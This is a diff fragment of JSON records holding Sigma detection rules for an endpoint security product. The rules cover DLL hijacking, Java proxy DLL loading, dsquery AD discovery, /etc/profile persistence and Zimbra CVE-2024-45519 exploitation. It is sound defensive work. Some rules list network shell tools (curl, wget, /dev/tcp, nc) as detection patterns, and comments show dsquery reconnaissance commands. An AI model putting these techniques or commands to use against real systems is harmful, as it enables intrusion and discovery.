'/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n            - 'dnf update'\n            - 'dnf upgrade'\n        - ProcessParentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_reconfigure:\n        - ProcessCommandLine:\n            - '/usr/bin/python3 /usr/bin/reconfigure'\n            - '/usr/bin/python3 /usr/bin/reconfigure -a'\n        - ProcessParentCommandLine:\n            - '/usr/bin/python3 /usr/bin/reconfigure'\n            - '/usr/bin/python3 /usr/bin/reconfigure -a'\n\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n    exclusion_microdnf:\n        ProcessImage: '/usr/bin/microdnf'\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    exclusion_plesk:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python -Estt /usr/local/psa/bin/yum_install '\n            - '/usr/libexec/platform-python -Estt /usr/local/psa/bin/dnf_install '\n\n    exclusion_sophos:\n        ProcessImage: '/opt/sophos-av/engine/_/savscand.?'\n\n    exclusion_chmod:\n        ProcessImage: '/bin/chmod'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessGrandparentImage:\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains: '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_podman:\n        - ProcessImage: '/usr/bin/podman'\n        - ProcessAncestors|contains: '|/usr/bin/conmon|/usr/bin/podman|'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_packagekit:\n        ProcessImage:\n            - '/usr/libexec/packagekitd'\n            - '/usr/lib/packagekit/packagekitd'\n\n    exclusion_crio:\n        ProcessImage: '/usr/bin/crio'\n\n    exclusion_kaniko:\n        ProcessImage: '/kaniko/executor'\n\n    exclusion_puppet:\n        ProcessImage|startswith: '/opt/puppetlabs/'\n\n    exclusion_buildah:\n        ProcessCommandLine: 'storage-untar / */containers/storage/overlay/*'\n\n    exclusion_convert2rhel:\n        ProcessParentCommandLine|startswith:\n            - '/usr/bin/python2 /bin/convert2rhel '\n            - '/usr/bin/python2 /usr/bin/convert2rhel '\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d9f55b9d-87ee-4d92-ba79-5004d14af637",
+  "rule_name": "System Profile Modified",
+  "rule_description": "Detects an attempt to modify the system profile script (/etc/profile) and scripts in the /etc/profile.d/ directory.\nThese scripts contain Linux system-wide environment and startup programs.\nAdversaries can establish persistence by adding a malicious binary path or shell commands to these files.\nIt is recommended to investigate the process that read the file for suspicious activities.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "da7ccf86-060f-4fa0-a574-3dd02a4dc0de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098920Z",
+  "creation_date": "2026-03-23T11:45:34.098922Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098926Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_settingsynchost.yml",
+  "content": "title: DLL Hijacking via settingsynchost.exe\nid: da7ccf86-060f-4fa0-a574-3dd02a4dc0de\ndescription: |\n    Detects potential Windows DLL Hijacking via settingsynchost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'settingsynchost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\policymanager.dll'\n            - '\\PROPSYS.dll'\n            - '\\umpdc.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "da7ccf86-060f-4fa0-a574-3dd02a4dc0de",
+  "rule_name": "DLL Hijacking via settingsynchost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via settingsynchost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "da9eaad8-ad16-4f59-9475-9fab6a794647",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082397Z",
+  "creation_date": "2026-03-23T11:45:34.082399Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082403Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://windows-internals.com/faxing-your-way-to-system/",
+    "https://github.com/ionescu007/faxhell",
+    "https://www.sentinelone.com/labs/sandman-apt-a-mystery-group-targeting-telcos-with-a-luajit-toolkit/",
+    "https://attack.mitre.org/techniques/T1574/001/",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1574_001_prepare_persistence_dll_hijack_ualapi.yml",
+  "content": "title: Fax/Print Spooler Service DLL Hijack Prepared\nid: da9eaad8-ad16-4f59-9475-9fab6a794647\ndescription: |\n    Detects preparation of a DLL hijack of the Fax and the Windows Print Spooler service trying to load the non-existant ualapi.dll DLL from system32 directory.\n    The ualapi.dll library is loaded by the Fax and the Spooler Windows service when started and is not present on system by default.\n    It is recommended to investigate the loaded DLL, and to look for alerts detecting a spooler hijacking being executed.\nreferences:\n    - https://windows-internals.com/faxing-your-way-to-system/\n    - https://github.com/ionescu007/faxhell\n    - https://www.sentinelone.com/labs/sandman-apt-a-mystery-group-targeting-telcos-with-a-luajit-toolkit/\n    - https://attack.mitre.org/techniques/T1574/001/\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2023/09/22\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.t1574.001\n    - attack.t1574.002\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection_create:\n        Kind: 'create'\n        Path: '?:\\Windows\\System32\\ualapi.dll'\n\n    selection_rename:\n        Kind: 'rename'\n        TargetPath: '?:\\Windows\\System32\\ualapi.dll'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "da9eaad8-ad16-4f59-9475-9fab6a794647",
+  "rule_name": "Fax/Print Spooler Service DLL Hijack Prepared",
+  "rule_description": "Detects preparation of a DLL hijack of the Fax and the Windows Print Spooler service trying to load the non-existant ualapi.dll DLL from system32 directory.\nThe ualapi.dll library is loaded by the Fax and the Spooler Windows service when started and is not present on system by default.\nIt is recommended to investigate the loaded DLL, and to look for alerts detecting a spooler hijacking being executed.\n",
+  "rule_creation_date": "2023-09-22",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dab93a0e-9b6b-4fde-9c39-ed8b5581c37f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080898Z",
+  "creation_date": "2026-03-23T11:45:34.080900Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080905Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2017/09/27/beyond-good-ol-run-key-part-65/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_java_proxy_execution.yml",
+  "content": "title: Proxy DLL Execution via Java\nid: dab93a0e-9b6b-4fde-9c39-ed8b5581c37f\ndescription: |\n    Detects execution of 'Java.exe' with suspicious command-line arguments indicating DLL execution.\n    This binary, which is digitally signed by Oracle, can be used to load malicious DLLs.\n    Attackers may abuse it to bypass security restrictions.\n    It is recommended to investigate the DLL loaded and the parent proces for suspicious activities.\nreferences:\n    - https://www.hexacorn.com/blog/2017/09/27/beyond-good-ol-run-key-part-65/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/04\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - OriginalFileName: 'java.exe'\n        - Image|endswith: '\\java.exe'\n\n    selection_arg:\n        CommandLine|endswith:\n            - ' -agentlib:*.dll'\n            - ' -agentpath:*.dll'\n\n    filter_long_commandline:\n        CommandLine|endswith:\n            - ' -agentlib:* *.dll'\n            - ' -agentpath:* *.dll'\n\n    condition: all of selection_* and not 1 of filter_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dab93a0e-9b6b-4fde-9c39-ed8b5581c37f",
+  "rule_name": "Proxy DLL Execution via Java",
+  "rule_description": "Detects execution of 'Java.exe' with suspicious command-line arguments indicating DLL execution.\nThis binary, which is digitally signed by Oracle, can be used to load malicious DLLs.\nAttackers may abuse it to bypass security restrictions.\nIt is recommended to investigate the DLL loaded and the parent proces for suspicious activities.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dacb9ce2-0179-4503-b58d-3143cfc42261",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605128Z",
+  "creation_date": "2026-03-23T11:45:34.605131Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605139Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952(v=ws.11)?redirectedfrom=MSDN",
+    "https://www.mandiant.com/resources/blog/apt41-us-state-governments",
+    "https://thedfirreport.com/2021/05/12/conti-ransomware/",
+    "https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb",
+    "https://attack.mitre.org/techniques/T1087/002/",
+    "https://attack.mitre.org/techniques/T1482/",
+    "https://attack.mitre.org/techniques/T1069/002/",
+    "https://attack.mitre.org/software/S0105/"
+  ],
+  "name": "t1087_002_dsquery.yml",
+  "content": "title: Active Directory Discovered via dsquery.exe\nid: dacb9ce2-0179-4503-b58d-3143cfc42261\ndescription: |\n    Detects the execution of the Dsquery tool, which is a command-line tool that may be present on some Windows Server.\n    Dsquery is a legitimate Windows binary that can be used to query an Active Directory to gather information.\n    This tool is often used by attackers during the discovery phase.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952(v=ws.11)?redirectedfrom=MSDN\n    - https://www.mandiant.com/resources/blog/apt41-us-state-governments\n    - https://thedfirreport.com/2021/05/12/conti-ransomware/\n    - https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb\n    - https://attack.mitre.org/techniques/T1087/002/\n    - https://attack.mitre.org/techniques/T1482/\n    - https://attack.mitre.org/techniques/T1069/002/\n    - https://attack.mitre.org/software/S0105/\ndate: 2022/08/26\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - attack.t1482\n    - attack.t1069.002\n    - attack.s0105\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Dsquery\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_dsquery:\n        OriginalFileName: 'dsquery.exe'\n\n    selection_filter:\n        CommandLine|contains:\n            - ' -filter '\n            - ' /filter '\n            - ' -attr '\n            - ' /attr '\n\n    selection_filter_trust:\n        # dsquery * -filter \"(objectClass=trustedDomain)\" -attr *\n        CommandLine|contains|all:\n            - 'objectClass'\n            - 'trustedDomain'\n\n    selection_filter_person:\n        # dsquery.exe * -filter \"(objectCategory=Person)\" -attr cn title displayName description\n        CommandLine|contains|all:\n            - 'objectCategory'\n            - 'Person'\n\n    selection_filter_computer:\n        # dsquery.exe * -filter \"(objectCategory=Computer)\" -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion\n        CommandLine|contains|all:\n            - 'objectCategory'\n            - 'Computer'\n\n    selection_filter_group:\n        # dsquery.exe * -filter \"(objectCategory=Group)\" -uc -attr cn sAMAccountName distinguishedName description -limit 0\n        CommandLine|contains|all:\n            - 'objectCategory'\n            - 'Group'\n\n    selection_filter_unit:\n        # dsquery.exe * -filter \"(objectClass=organizationalUnit)\" -attr ou name whenCreated distinguishedName gPLink -limit 0\n        CommandLine|contains|all:\n            - 'objectClass'\n            - 'organizationalUnit'\n\n    selection_subnet:\n        # dsquery subnet -limit 0\n        CommandLine|contains: ' subnet '\n\n    condition: selection_dsquery and ((selection_filter and 1 of selection_filter_*) or selection_subnet)\nfalsepositives:\n    - Legitimate administrator action\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dacb9ce2-0179-4503-b58d-3143cfc42261",
+  "rule_name": "Active Directory Discovered via dsquery.exe",
+  "rule_description": "Detects the execution of the Dsquery tool, which is a command-line tool that may be present on some Windows Server.\nDsquery is a legitimate Windows binary that can be used to query an Active Directory to gather information.\nThis tool is often used by attackers during the discovery phase.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-08-26",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.002",
+    "attack.t1087.002",
+    "attack.t1482"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "db057758-949f-44f5-9814-aef16e94ef02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613147Z",
+  "creation_date": "2026-03-23T11:45:34.613151Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613158Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.projectdiscovery.io/zimbra-remote-code-execution/",
+    "https://blog.zimbra.com/2024/10/zimbra-cve-2024-45519-vulnerability-stay-secure-by-updating/",
+    "https://github.com/Chocapikk/CVE-2024-45519",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "cve_2024_45519_zimbra_rce.yml",
+  "content": "title: Zimbra CVE-2024-45519 RCE Exploited\nid: db057758-949f-44f5-9814-aef16e94ef02\ndescription: |\n    Detects the suspicious creation of child processes by the postjournal service related to the exploitation of a Zimbra vulnerability.\n    This behavior is related to the exploitation of the \"exchange compatible journaling\" feature on non-patched Zimbra instances.\n    This flaw allows remote unauthenticated attackers to execute arbitrary commands.\n    It is recommended to gather more information about the Zimbra instance and to investigate the command-line.\nreferences:\n    - https://blog.projectdiscovery.io/zimbra-remote-code-execution/\n    - https://blog.zimbra.com/2024/10/zimbra-cve-2024-45519-vulnerability-stay-secure-by-updating/\n    - https://github.com/Chocapikk/CVE-2024-45519\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2024/10/09\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - cve.2024-45519\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Exploit.Zimbra\n    - classification.Linux.Exploit.CVE-2024-45519\n    - classification.Linux.Behavior.Exploitation\n    - classification.Linux.Behavior.InitialAccess\nlogsource:\n    product: linux\n    category: process_creation\n\ndetection:\n    selection_process:\n        ProcessParentImage|endswith: '/postjournal'\n        CommandLine|startswith:\n            - 'sh -c postalias -q '\n            - 'sh -c postmap -q '\n\n    selection_command:\n        CommandLine|contains:\n            - '${IFS}'\n            - 'curl'\n            - 'wget'\n            - '/dev/tcp'\n            - '/dev/udp'\n            - 'base64'\n            - 'openssl'\n            - 'perl'\n            - 'netcat'\n            - ' nc '\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "db057758-949f-44f5-9814-aef16e94ef02",
+  "rule_name": "Zimbra CVE-2024-45519 RCE Exploited",
